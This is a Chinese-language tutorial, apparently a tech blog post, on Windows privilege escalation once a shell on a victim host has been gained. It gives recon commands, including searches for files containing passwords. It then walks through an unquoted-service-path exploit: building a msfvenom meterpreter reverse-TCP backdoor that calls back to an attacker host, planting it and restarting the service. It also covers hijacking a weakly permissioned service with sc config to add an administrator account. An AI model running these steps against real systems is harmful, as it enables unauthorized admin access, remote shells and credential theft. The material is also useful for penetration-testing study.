假设我们取得受害主机的 shell (cmd.exe 或 powershell)可以根据自己的需求取得需要的资讯。
系统资讯常用指令
指令 | 说明 |
---|---|
systeminfo | 系统资讯 |
netstat | 网路连接 |
netsh firewall | 防火墙设定 |
schtasks | 排程任务 |
tasklist | 执行 process |
net | 执行服务 |
DRIVERQUERY | 查询目前安装的驱动程序 |
wmic | Windows 管理介面 |
检查作业系统版本
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
检查防火墙的状态与设定
netsh firewall show state
netsh firewall show config
查看定期执行的任务
schtasks /query /fo LIST /v
检查正在执行的 process
tasklist /SVC
检查正在执行的服务
net start
检查已经安装的 patch
wmic qfe get Caption,Description,HotFixID,InstalledOn
查询目前系统内是否有包含密码的档案
dir /s *password*
针对内容查询指定的关键字内容
findstr /si password *.txt
Windows 中允许资料夹包含空格,因此执行程序或切换资料夹的时候,如果遇到有空格的路径,要利用双引号括起来。
不然有机会造成 Unquoted Service Paths 的漏洞,这个漏洞成功的条件是:
举例来说, Windows 系统中,有以下的程序的路径:
C:\Program Files\Program\Fei Folder\Service.exe
假设没有使用双引号执行该程序,Windows 会尝试先找与路径最前面符合的程序:
C:\Program.exe
C:\Program Files\Program\Fei.exe
C:\Program Files\Program\Fei Folder\Service.exe
如果我们可以在这些路径放上恶意的程序,当我们重新启动的时候,就会优先执行这些恶意程序。
以下为测试的步骤解析:
STEP1: 透过 wmic 搜寻系统中有 Unquoted Service Paths 的服务:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
假设找到:
C:\Program Files\Program\Fei Folder\Service.exe
我们要先寻找是否有这些资料夹,且是否有这些资料夹的写入权限。
STEP2:确认是否有资料夹的写入权限
icacls <资料夹路径>
权限 | 说明 |
---|---|
F | 所有权限(读取、修改、写入、执行) |
M | 修改权限 |
RX | 读取与执行权限 |
R | 读取权限 |
W | 写入权限 |
继承权限说明
在 Windows 当中,资料夹可以根据父资料夹的权限,以四种继承方式继承。
权限 | 说明 |
---|---|
(OI) | 物件继承 Object inherit |
(CI) | 容器继承 Container inherit |
(IO) | 只有继承 Inherit only |
(NP) | 不传播继承 Do not propagate inherit |
SETP3:构造恶意後门
msfvenom -p windows/meterpreter/reverse_tcp -e LHOST=[LHOST IP] LPORT=443 -f exe -o Fei.exe
STEP4:上传後门,到指定的资料夹内
meterpreter > upload Fei.exe "c:\\Program Files\\Program"
STEP5:停止并重新启动服务
sc stop <服务名称>
sc start <服务名称>
亦可透过 Metasploit 的模组exploit/windows/local/trusted_service_path
来利用 Unquoted Service Paths 漏洞。
透过修改服务的路径,将路径指定到有写入权限的资料夹中的恶意程序。
STEP1: 查询可透过身分验证使用者类型可修改的服务
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
会显示
RW Fei service
SERVICE_ALL_ACCESS
STEP2: 显示该服务的属性
sc qc <服务名称>
STEP3: 修改服务的路径(BINARY_PATH_NAME)
sc config <服务名称> binpath= "恶意程序路径"
甚至可以直接执行恶意指令,如新增使用者并且给予管理员的权限
sc config <服务名称> binpath= "net user admin password /add"
将新使用者加入管理员群组
sc config <服务名称> binpath= "net localgroup Administrators admin /add"
STEP4: 停止并重新启动服务
sc stop <服务名称>
sc start <服务名称>
亦可透过 Metasploit 的模组exploit/windows/local/service_permissions
来利用修改服务的路径漏洞。
>>: Day30 - this&Object Prototypes Ch3 Objects - Review
物件导向的设计中,关於建构物件的方式我们成为建构器(constructor),这关系到物件使用的方式...
1.Vuex通常在main.js内就被引入了(store),除map外无须另外引入 import {...
前言 背景是一个如此重要的东西,你能想像萤幕的话棉全都是白底或黑底吗!!当然不行啊!! backgr...
今天先介绍几个比较常用的元件,包括Text、Icon、Image及Button。 Text文字元件 ...
Youtube连结:https://bit.ly/33cfaZS 红黑树有着自我平衡的特性,透过「...